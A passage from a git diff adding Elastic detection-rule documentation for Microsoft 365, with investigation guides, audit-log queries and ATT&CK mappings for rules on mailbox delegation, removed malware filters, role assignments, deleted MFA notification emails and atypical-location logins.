`o365.audit.Parameters.Identity`: Determine which account was delegated access and which account performed the delegation. Review both for unusual activity. +- `event.action`: Indicates the type of permission granted. Review which delegation action was taken. +- `o365.audit.Parameters.AccessRights` or `GrantSendOnBehalfTo`: Confirm the exact permission granted. +- `@timestamp` and `event.ingested`: Review the timing of the delegation and whether it aligns with user activity or known business events. +- `source.ip` and `source.geo`: Validate that the source IP and location are expected for the admin or account performing the action. +- `user_agent.original`: If present, review to identify any automation, script, or unexpected interface used to assign the permissions. + + +*FullAccess (`Add-MailboxPermission`)* + +- `o365.audit.Parameters.Identity`: The mailbox being accessed. +- `o365.audit.Parameters.User`: The user granted FullAccess. +- Review for subsequent mailbox logins or message rules created by the grantee. + + +*SendAs (`Add-RecipientPermission`)* + +- `o365.audit.Parameters.Identity`: The account the grantee is allowed to impersonate. +- `o365.audit.Parameters.Trustee`: The user who was granted the ability to send as the identity. +- Search for recent messages sent "as" the identity and validate whether the activity was legitimate. + + +*SendOnBehalf (`Set-Mailbox`)* + +- `o365.audit.Parameters.GrantSendOnBehalfTo`: The user allowed to send on behalf of the mailbox owner. +- Check for outbound emails or meeting requests with "on behalf of" headers. + + +*False Positive Analysis* + + +- Delegation to Assistants: Executive or admin assistants often receive FullAccess or SendOnBehalf permissions. +- Shared Mailboxes: Teams or departments may share access to mailboxes for operational efficiency. +- Automated Admin Actions: System or service accounts may perform these actions as part of onboarding or automation. +- Project-Based Access: Temporary access granted for short-term collaboration. +- Maintain an allowlist of known delegation relationships. + + +*Response and Remediation* + + +If the delegation is determined to be unauthorized or suspicious: + +- Revoke the delegated permissions immediately to prevent further access. +- Reset credentials for the impacted accounts if compromise is suspected. +- Review mailbox rules and sent items to detect abuse. +- Alert impacted users and advise on suspicious activity to watch for. +- Audit audit logs around the delegation for additional attacker actions (e.g., MFA disablement, mailbox rule creation, login from foreign IPs). +- Review conditional access, role-based access control, and app permissions to reduce the attack surface. +- Harden delegation policies by requiring approvals, limiting delegation to specific groups, or implementing Just-in-Time (JIT) access for mailboxes. + + +==== Rule query + + +[source, js] +---------------------------------- +event.dataset: "o365.audit" and +event.provider: "Exchange" and +event.outcome: "success" and +not o365.audit.UserType : (3 or 4) and +( + (event.action: "Add-MailboxPermission" and o365.audit.Parameters.AccessRights: "FullAccess") or + (event.action: "Add-RecipientPermission" and o365.audit.Parameters.AccessRights: "SendAs") or + (event.action: "Set-Mailbox" and o365.audit.Parameters.GrantSendOnBehalfTo: *) +) and +not user.id:( + "NT AUTHORITY\SYSTEM (Microsoft.Exchange.ServiceHost)" or + "NT AUTHORITY\SYSTEM (Microsoft.Exchange.AdminApi.NetCore)" or + "NT AUTHORITY\SYSTEM (w3wp)" + ) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Account Manipulation +** ID: T1098 +** Reference URL: https://attack.mitre.org/techniques/T1098/ +* Sub-technique: +** Name: Additional Email Delegate Permissions +** ID: T1098.002 +** Reference URL: https://attack.mitre.org/techniques/T1098/002/ +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Account Manipulation +** ID: T1098 +** Reference URL: https://attack.mitre.org/techniques/T1098/ +* Sub-technique: +** Name: Additional Email Delegate Permissions +** ID: T1098.002 +** Reference URL: https://attack.mitre.org/techniques/T1098/002/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-m365-exchange-malware-filter-policy-deleted.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-m365-exchange-malware-filter-policy-deleted.asciidoc new file mode 100644 index 0000000000..1a199f437d --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-m365-exchange-malware-filter-policy-deleted.asciidoc @@ -0,0 +1,120 @@ +[[prebuilt-rule-8-19-20-m365-exchange-malware-filter-policy-deleted]] +=== M365 Exchange Malware Filter Policy Deleted + +Identifies when a malware filter policy has been deleted in Microsoft 365. A malware filter policy is used to alert administrators that an internal user sent a message that contained malware. This may indicate an account or machine compromise that would need to be investigated. Deletion of a malware filter policy may be done to evade detection. + +*Rule type*: query + +*Rule indices*: + +* logs-o365.audit-* +* filebeat-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://docs.microsoft.com/en-us/powershell/module/exchange/remove-malwarefilterpolicy?view=exchange-ps + +*Tags*: + +* Domain: Cloud +* Data Source: Microsoft 365 +* Use Case: Configuration Audit +* Tactic: Defense Evasion +* Resources: Investigation Guide + +*Version*: 212 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating M365 Exchange Malware Filter Policy Deleted* + + +Microsoft 365 Exchange uses malware filter policies to detect and alert administrators about malware in emails, crucial for maintaining security. Adversaries may delete these policies to bypass detection, facilitating undetected malware distribution. The detection rule monitors audit logs for successful deletions of these policies, signaling potential defense evasion attempts. + + +*Possible investigation steps* + + +- Review the audit logs for the specific event.action "Remove-MalwareFilterPolicy" to identify the user account responsible for the deletion. +- Investigate the event.outcome to confirm the success of the policy deletion and gather additional context from related logs. +- Check the event.provider "Exchange" and event.category "web" to ensure the activity is consistent with expected administrative actions. +- Assess the recent activity of the identified user account for any unusual behavior or signs of compromise, such as unexpected login locations or times. +- Examine other security alerts or incidents involving the same user account or related systems to identify potential patterns or coordinated attacks. +- Verify if there are any recent changes in permissions or roles for the user account that could explain the ability to delete the malware filter policy. +- Coordinate with IT and security teams to determine if the deletion was authorized or if immediate remediation actions are necessary to restore security controls. + + +*False positive analysis* + + +- Administrative maintenance activities may trigger the rule if administrators are legitimately updating or removing outdated malware filter policies. To manage this, maintain a log of scheduled maintenance activities and cross-reference with alerts to verify legitimacy. +- Automated scripts or third-party tools used for policy management might inadvertently delete policies, leading to false positives. Ensure these tools are configured correctly and consider excluding their actions from the rule if they are verified as non-threatening. +- Changes in organizational policy or security strategy might necessitate the removal of certain malware filter policies. Document these changes and create exceptions in the detection rule for these specific actions to prevent unnecessary alerts. +- User error during policy management could result in accidental deletions. Implement additional verification steps or approval processes for policy deletions to reduce the likelihood of such errors triggering false positives. + + +*Response and remediation* + + +- Immediately isolate the affected account or system to prevent further unauthorized actions or malware distribution. +- Recreate the deleted malware filter policy to restore the email security posture and prevent further evasion attempts. +- Conduct a thorough review of recent audit logs to identify any other suspicious activities or policy changes that may indicate a broader compromise. +- Reset passwords and enforce multi-factor authentication for the affected account to secure access and prevent further unauthorized actions. +- Notify the security team and relevant stakeholders about the incident for awareness and potential escalation if further investigation reveals a larger threat. +- Implement additional monitoring on the affected account and related systems to detect any further suspicious activities or attempts to bypass security measures. +- Review and update security policies and configurations to ensure they are robust against similar evasion tactics in the future. + +==== Setup + + +The Office 365 Logs Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule. + +==== Rule query + + +[source, js] +---------------------------------- +event.dataset:o365.audit and event.provider:Exchange and event.category:web and event.action:"Remove-MalwareFilterPolicy" and event.outcome:success + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Impair Defenses +** ID: T1562 +** Reference URL: https://attack.mitre.org/techniques/T1562/ +* Sub-technique: +** Name: Disable or Modify Tools +** ID: T1562.001 +** Reference URL: https://attack.mitre.org/techniques/T1562/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-m365-exchange-malware-filter-rule-modified.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-m365-exchange-malware-filter-rule-modified.asciidoc new file mode 100644 index 0000000000..513afa09a2 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-m365-exchange-malware-filter-rule-modified.asciidoc @@ -0,0 +1,124 @@ +[[prebuilt-rule-8-19-20-m365-exchange-malware-filter-rule-modified]] +=== M365 Exchange Malware Filter Rule Modified + +Identifies when a malware filter rule has been deleted or disabled in Microsoft 365. An adversary or insider threat may want to modify a malware filter rule to evade detection. + +*Rule type*: query + +*Rule indices*: + +* logs-o365.audit-* +* filebeat-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://docs.microsoft.com/en-us/powershell/module/exchange/remove-malwarefilterrule?view=exchange-ps +* https://docs.microsoft.com/en-us/powershell/module/exchange/disable-malwarefilterrule?view=exchange-ps + +*Tags*: + +* Domain: Cloud +* Data Source: Microsoft 365 +* Use Case: Configuration Audit +* Tactic: Defense Evasion +* Resources: Investigation Guide + +*Version*: 212 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating M365 Exchange Malware Filter Rule Modified* + + +Microsoft 365 Exchange uses malware filter rules to protect email systems by identifying and blocking malicious content. Adversaries may attempt to disable or remove these rules to bypass security measures and facilitate attacks. The detection rule monitors audit logs for successful actions that alter these rules, signaling potential defense evasion tactics. This helps security analysts quickly identify and respond to unauthorized modifications. + + +*Possible investigation steps* + + +- Review the audit logs for the specific event.dataset:o365.audit entries with event.provider:Exchange to confirm the occurrence of the rule modification. +- Identify the user account associated with the event.action:("Remove-MalwareFilterRule" or "Disable-MalwareFilterRule") and verify if the action was authorized or expected. +- Check the event.category:web logs for any related activities around the same timeframe to identify potential patterns or additional suspicious actions. +- Investigate the event.outcome:success to ensure that the modification was indeed successful and assess the impact on the organization's security posture. +- Correlate the identified actions with any recent security incidents or alerts to determine if this modification is part of a larger attack or threat campaign. +- Review the user's recent activity and access logs to identify any other unusual or unauthorized actions that may indicate compromised credentials or insider threat behavior. + + +*False positive analysis* + + +- Routine administrative changes to malware filter rules by authorized IT personnel can trigger alerts. To manage this, maintain a list of authorized users and their expected activities, and create exceptions for these users in the monitoring system. +- Scheduled maintenance or updates to Microsoft 365 configurations might involve temporary disabling of certain rules. Document these activities and adjust the monitoring system to recognize these as non-threatening. +- Automated scripts or third-party tools used for system management may perform actions that resemble rule modifications. Ensure these tools are properly documented and their actions are whitelisted if verified as safe. +- Changes made during incident response or troubleshooting can appear as rule modifications. Coordinate with the incident response team to log these activities and exclude them from triggering alerts. + + +*Response and remediation* + + +- Immediately isolate the affected user accounts and systems to prevent further unauthorized modifications to the malware filter rules. +- Re-enable or recreate the disabled or removed malware filter rules to restore the intended security posture of the Microsoft 365 environment. +- Conduct a thorough review of recent email traffic and logs to identify any potential malicious content that may have bypassed the filters during the period of rule modification. +- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to determine if additional systems or accounts have been compromised. +- Implement enhanced monitoring and alerting for any future attempts to modify malware filter rules, ensuring rapid detection and response. +- Review and update access controls and permissions for administrative actions within Microsoft 365 to limit the ability to modify security configurations to only essential personnel. +- Document the incident, including actions taken and lessons learned, to improve future response efforts and update incident response plans accordingly. + +==== Setup + + +The Office 365 Logs Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule. + +==== Rule query + + +[source, js] +---------------------------------- +event.dataset:o365.audit and event.provider:Exchange and event.category:web and event.action:("Remove-MalwareFilterRule" or "Disable-MalwareFilterRule") and event.outcome:success + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Domain or Tenant Policy Modification +** ID: T1484 +** Reference URL: https://attack.mitre.org/techniques/T1484/ +* Technique: +** Name: Impair Defenses +** ID: T1562 +** Reference URL: https://attack.mitre.org/techniques/T1562/ +* Sub-technique: +** Name: Disable or Modify Tools +** ID: T1562.001 +** Reference URL: https://attack.mitre.org/techniques/T1562/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-m365-exchange-management-group-role-assigned.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-m365-exchange-management-group-role-assigned.asciidoc new file mode 100644 index 0000000000..38c8d42159 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-m365-exchange-management-group-role-assigned.asciidoc @@ -0,0 +1,133 @@ +[[prebuilt-rule-8-19-20-m365-exchange-management-group-role-assigned]] +=== M365 Exchange Management Group Role Assigned + +Identifies when a new role is assigned to a management group in Microsoft 365. An adversary may attempt to add a role in order to maintain persistence in an environment. + +*Rule type*: query + +*Rule indices*: + +* logs-o365.audit-* +* filebeat-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://docs.microsoft.com/en-us/powershell/module/exchange/new-managementroleassignment?view=exchange-ps +* https://docs.microsoft.com/en-us/microsoft-365/admin/add-users/about-admin-roles?view=o365-worldwide + +*Tags*: + +* Domain: Cloud +* Data Source: Microsoft 365 +* Use Case: Identity and Access Audit +* Tactic: Persistence +* Resources: Investigation Guide + +*Version*: 212 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating M365 Exchange Management Group Role Assigned* + + +Microsoft 365 Exchange Management roles define permissions for managing Exchange environments. Adversaries may exploit this by assigning roles to unauthorized users, ensuring persistent access. The detection rule monitors successful role assignments within Exchange, flagging potential unauthorized changes that align with persistence tactics, thus aiding in identifying and mitigating unauthorized access attempts. + + +*Possible investigation steps* + + +- Review the event details to confirm the event.action is "New-ManagementRoleAssignment" and the event.outcome is "success" to ensure the alert is valid. +- Identify the user account associated with the role assignment by examining the event.dataset and event.provider fields, and verify if the account is authorized to make such changes. +- Check the history of role assignments for the identified user to determine if there are any patterns of unauthorized or suspicious activity. +- Investigate the specific management role that was assigned to understand its permissions and potential impact on the environment. +- Correlate this event with other recent activities from the same user or IP address to identify any additional suspicious behavior or anomalies. +- Consult with the relevant IT or security teams to verify if the role assignment was part of a legitimate administrative task or change request. + + +*False positive analysis* + + +- Routine administrative role assignments can trigger alerts. Regularly review and document legitimate role changes to differentiate them from unauthorized activities. +- Automated scripts or tools used for role management may cause false positives. Identify and whitelist these tools to prevent unnecessary alerts. +- Changes made during scheduled maintenance windows might be flagged. Establish a process to temporarily suppress alerts during these periods while ensuring post-maintenance reviews. +- Role assignments related to onboarding or offboarding processes can appear suspicious. Implement a verification step to confirm these changes align with HR records and expected activities. +- Frequent role changes by specific users with administrative privileges may not indicate malicious intent. Monitor these users' activities and establish a baseline to identify deviations from normal behavior. + + +*Response and remediation* + + +- Immediately revoke the newly assigned management role from the unauthorized user to prevent further unauthorized access or changes. +- Conduct a thorough review of recent activity logs for the affected account to identify any suspicious actions taken since the role assignment. +- Reset the credentials of the compromised account and enforce multi-factor authentication to enhance security. +- Notify the security team and relevant stakeholders about the incident for awareness and further investigation. +- Implement additional monitoring on the affected account and similar high-privilege accounts to detect any further unauthorized attempts. +- Review and update access control policies to ensure that only authorized personnel can assign management roles in Microsoft 365. +- Consider conducting a security awareness session for administrators to reinforce the importance of monitoring and managing role assignments securely. + +==== Setup + + +The Office 365 Logs Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule. + +==== Rule query + + +[source, js] +---------------------------------- +event.dataset:o365.audit and event.provider:Exchange and event.category:web and event.action:"New-ManagementRoleAssignment" and event.outcome:success + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Account Manipulation +** ID: T1098 +** Reference URL: https://attack.mitre.org/techniques/T1098/ +* Sub-technique: +** Name: Additional Cloud Roles +** ID: T1098.003 +** Reference URL: https://attack.mitre.org/techniques/T1098/003/ +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Account Manipulation +** ID: T1098 +** Reference URL: https://attack.mitre.org/techniques/T1098/ +* Sub-technique: +** Name: Additional Cloud Roles +** ID: T1098.003 +** Reference URL: https://attack.mitre.org/techniques/T1098/003/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-m365-exchange-mfa-notification-email-deleted-or-moved.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-m365-exchange-mfa-notification-email-deleted-or-moved.asciidoc new file mode 100644 index 0000000000..c3226e665e --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-m365-exchange-mfa-notification-email-deleted-or-moved.asciidoc @@ -0,0 +1,153 @@ +[[prebuilt-rule-8-19-20-m365-exchange-mfa-notification-email-deleted-or-moved]] +=== M365 Exchange MFA Notification Email Deleted or Moved + +Identifies when an MFA enrollment, registration, or security notification email is deleted or moved to deleted items in Microsoft 365 Exchange. Adversaries who compromise accounts and register their own MFA device often delete the notification emails to cover their tracks and prevent the legitimate user from noticing the unauthorized change. This technique is commonly observed in business email compromise (BEC) and account takeover attacks. + +*Rule type*: eql + +*Rule indices*: + +* filebeat-* +* logs-o365.audit-* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://cloud.google.com/blog/topics/threat-intelligence/expansion-shinyhunters-saas-data-theft + +*Tags*: + +* Domain: Cloud +* Domain: SaaS +* Data Source: Microsoft 365 +* Data Source: Microsoft 365 Audit Logs +* Use Case: Threat Detection +* Tactic: Defense Evasion +* Resources: Investigation Guide + +*Version*: 2 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and Analysis* + + + +*Investigating M365 Exchange MFA Notification Email Deleted or Moved* + + +This rule detects when emails containing MFA enrollment or security notification keywords are deleted or moved to deleted items. Attackers who gain access to an account and register their own MFA device will often immediately delete the notification email to prevent the legitimate user from detecting the compromise. + + +*Possible Investigation Steps* + + +- Identify the user whose mailbox had the email deleted and determine if they recently enrolled a new MFA device. +- Review Azure AD sign-in logs for the user around the time of the deletion for authentication anomalies. +- Check Azure AD audit logs for recent MFA method registrations or changes for this user. +- Review the source IP address and determine if it matches the user's typical access patterns. +- Look for other suspicious mailbox activities from the same session (inbox rules, email forwarding). +- Determine if the user was aware of and initiated the MFA enrollment that generated the notification. + + +*False Positive Analysis* + + +- Users may legitimately delete MFA notification emails after reviewing and confirming the enrollment. +- Some organizations have mailbox rules that automatically organize or delete notification emails. +- Consider creating exceptions for users who frequently manage MFA enrollments (IT help desk). + + +*Response and Remediation* + + +- If unauthorized MFA enrollment is confirmed, immediately remove the attacker's MFA method from the account. +- Revoke all active sessions and refresh tokens for the affected user. +- Reset the user's credentials and require reauthentication. +- Review inbox rules for any malicious forwarding or deletion rules. +- Check for data exfiltration or other malicious activities during the compromise window. +- Implement conditional access policies to restrict MFA registration to trusted locations/devices. + + +==== Rule query + + +[source, js] +---------------------------------- +web where event.dataset == "o365.audit" and + event.provider == "Exchange" and + event.action in ("SoftDelete", "HardDelete", "MoveToDeletedItems") and + event.outcome == "success" and + ( + o365.audit.AffectedItems.Subject like~ ( + /* new + (mfa|multi-|factor|method|device|security) */ + "*new mfa*", "*new multi*", "*new factor*", "*new method*", "*new device*", "*new security*", + /* 2fa and 2-step */ + "*2fa*", "*2-step*", + /* mfa + action verbs */ + "*mfa enroll*", "*mfa register*", "*mfa added*", "*mfa change*", + "*mfa verify*", "*mfa update*", "*mfa activate*", "*mfa configure*", "*mfa setup*", + /* factor + action verbs */ + "*factor enroll*", "*factor register*", "*factor added*", "*factor change*", + "*factor verify*", "*factor update*", "*factor activate*", "*factor configure*", "*factor setup*", + /* method + action verbs */ + "*method enroll*", "*method register*", "*method added*", "*method change*", + "*method verify*", "*method update*", "*method activate*", "*method configure*", "*method setup*", + /* device + action verbs */ + "*device enroll*", "*device register*", "*device added*", "*device change*", + "*device verify*", "*device update*", "*device activate*", "*device configure*", "*device setup*", + /* security + action verbs */ + "*security enroll*", "*security register*", "*security added*", "*security change*", + "*security verify*", "*security update*", "*security activate*", "*security configure*", "*security setup*", + /* Additional security notifications */ + "*authenticator*", "*verification code*", "*security info*", "*security alert*" + ) and not + o365.audit.AffectedItems.Subject like~ ("*sign-in*", "*sign in*", "*log-in*", "*log in*", "*logon*") + ) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Indicator Removal +** ID: T1070 +** Reference URL: https://attack.mitre.org/techniques/T1070/ +* Sub-technique: +** Name: Clear Mailbox Data +** ID: T1070.008 +** Reference URL: https://attack.mitre.org/techniques/T1070/008/ +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Account Manipulation +** ID: T1098 +** Reference URL: https://attack.mitre.org/techniques/T1098/ +* Sub-technique: +** Name: Device Registration +** ID: T1098.005 +** Reference URL: https://attack.mitre.org/techniques/T1098/005/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-m365-identity-global-administrator-role-assigned.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-m365-identity-global-administrator-role-assigned.asciidoc new file mode 100644 index 0000000000..7d66257afc --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-m365-identity-global-administrator-role-assigned.asciidoc @@ -0,0 +1,137 @@ +[[prebuilt-rule-8-19-20-m365-identity-global-administrator-role-assigned]] +=== M365 Identity Global Administrator Role Assigned + +Identifies when the Microsoft 365 Global Administrator or Company Administrator role is assigned to a user or service principal. The Global Administrator role has extensive privileges across Entra ID and Microsoft 365 services, making it a high-value target for adversaries seeking persistent access. Successful assignments of this role may indicate potential privilege escalation or unauthorized access attempts, especially if performed by accounts that do not typically manage high-privilege roles. + +*Rule type*: query + +*Rule indices*: + +* logs-o365.audit-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://docs.microsoft.com/en-us/azure/active-directory/roles/permissions-reference#global-administrator +* https://learn.microsoft.com/en-us/purview/audit-log-activities +* https://www.blackhat.com/us-24/briefings/schedule/#unoauthorized-a-technique-to-privilege-escalation-to-global-administrator-39231 + +*Tags*: + +* Domain: Cloud +* Domain: SaaS +* Domain: Identity +* Data Source: Microsoft 365 +* Data Source: Microsoft 365 Audit Logs +* Use Case: Identity and Access Audit +* Tactic: Persistence +* Resources: Investigation Guide + +*Version*: 214 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and Analysis* + + + +*Investigating M365 Identity Global Administrator Role Assigned* + + +The Microsoft 365 Global Administrator role grants comprehensive administrative access across Entra ID and services such as Microsoft 365 Defender, Exchange, SharePoint, and Skype for Business. Adversaries who compromise an account may assign this role to themselves or other users to ensure persistent and privileged access. This rule identifies successful assignments of this role by inspecting audit logs from Azure Active Directory (Entra ID) where the role display name matches "Administrator." + + +*Possible investigation steps* + + +- Review the `user.id` and `user.name` fields to determine who performed the role assignment. Assess whether this user normally has permissions to modify high-privilege roles. +- Confirm the `event.action` is `"Add member to role."` and that the `Role_DisplayName.NewValue` is `"Global Administrator"` or a similarly privileged role. +- Review the `user.target.id` and `user.target.name` fields to identify the user or service principal that received the role. +- Inspect `o365.audit.ExtendedProperties.additionalDetails` for context on how the action was performed (e.g., via Admin Portal, Graph API). +- Pivot to sign-in logs for the assigning account to check for recent anomalies such as logins from new geolocations, unrecognized devices, or suspicious IP ranges. +- Investigate if the account assignment occurred outside of known change windows, during non-business hours, or by a user with no change history. +- Correlate with other role assignments or directory changes to check for broader role abuse or privilege escalation campaigns. + + +*False positive analysis* + + +- Role assignments by IT administrators as part of routine maintenance or incident response may appear suspicious in environments without change tracking or ticket correlation. +- PIM (Privileged Identity Management) activations may temporarily elevate accounts to Global Administrator and then revoke the role afterward. +- Onboarding processes or internal audits may require temporary elevation to Global Administrator for legitimate users. +- Automation tools and scripts may trigger this alert if misconfigured to assign Global Administrator privileges during provisioning or sync jobs. + + +*Response and remediation* + + +- If the assignment is unapproved or suspicious, immediately revoke the Global Administrator role from the assigned user or service principal. +- Reset credentials and initiate containment steps for the assigning account, especially if compromise is suspected. +- Enable or verify enforcement of MFA for both assigning and assigned accounts. +- Review Azure AD activity logs for additional signs of privilege misuse or suspicious directory changes. +- Notify the appropriate identity and security operations teams to investigate further and begin incident response procedures. +- Limit the number of Global Administrator accounts and enforce role-based access control (RBAC) using least privilege principles. +- Consider implementing conditional access policies to limit role assignment actions to specific networks, devices, or user groups. + + +==== Rule query + + +[source, js] +---------------------------------- +event.dataset:o365.audit + and event.code:"AzureActiveDirectory" + and event.action:"Add member to role." + and event.outcome: "success" + and o365.audit.ModifiedProperties.Role_DisplayName.NewValue: ( + "Global Administrator" or "Company Administrator" + ) + and o365.audit.AzureActiveDirectoryEventType: 1 + and o365.audit.RecordType: 8 + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Account Manipulation +** ID: T1098 +** Reference URL: https://attack.mitre.org/techniques/T1098/ +* Sub-technique: +** Name: Additional Cloud Roles +** ID: T1098.003 +** Reference URL: https://attack.mitre.org/techniques/T1098/003/ +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Account Manipulation +** ID: T1098 +** Reference URL: https://attack.mitre.org/techniques/T1098/ +* Sub-technique: +** Name: Additional Cloud Roles +** ID: T1098.003 +** Reference URL: https://attack.mitre.org/techniques/T1098/003/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-m365-identity-login-from-atypical-travel-location.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-m365-identity-login-from-atypical-travel-location.asciidoc new file mode 100644 index 0000000000..3eccbdf9d7 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-m365-identity-login-from-atypical-travel-location.asciidoc @@ -0,0 +1,132 @@ +[[prebuilt-rule-8-19-20-m365-identity-login-from-atypical-travel-location]] +=== M365 Identity Login from Atypical Travel Location + +Detects successful Microsoft 365 portal logins from rare locations. Rare locations are defined as locations that are not commonly associated with the user's account. This behavior may indicate an adversary attempting to access a Microsoft 365 account from an unusual location or behind a VPN. + +*Rule type*: new_terms + +*Rule indices*: + +* logs-o365.audit-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-15m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.huntress.com/blog/time-travelers-busted-how-to-detect-impossible-travel- + +*Tags*: + +* Domain: Cloud +* Domain: Identity +* Data Source: Microsoft 365 +* Data Source: Microsoft 365 Audit Logs +* Use Case: Threat Detection +* Use Case: Identity and Access Audit +* Tactic: Initial Access +* Resources: Investigation Guide + +*Version*: 9 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating M365 Identity Login from Atypical Travel Location* + + +Microsoft 365 is a cloud-based suite offering productivity tools accessible from anywhere, making it crucial for business operations. Adversaries may exploit this by logging in from uncommon locations, potentially using VPNs to mask their origin. The detection rule identifies successful logins from atypical locations, flagging potential unauthorized access attempts by analyzing login events and user location patterns. + + +*Possible investigation steps* + + +- Review the user associated with these sign-ins to determine if the login attempt was legitimate or if further investigation is needed. +- Analyze the geographic locations of the logins to identify any patterns or anomalies that may indicate malicious activity. +- Review the ISP information for the login attempts to identify any unusual or suspicious providers. +- Review the authorization request type to understand the context of the login attempts and whether they align with the user's typical behavior. +- Analyze the client application used for the login attempts to determine if it is consistent with the user's normal usage patterns (Teams, Office, etc.) +- Analyze the user-agent associated with the login attempts to identify any unusual or suspicious patterns. These could also indicate mobile and endpoint logins causing false-positives. + + +*False positive analysis* + + +- Users traveling or using VPNs may trigger this alert. Verify with the user if they were traveling or using a VPN at the time of the login 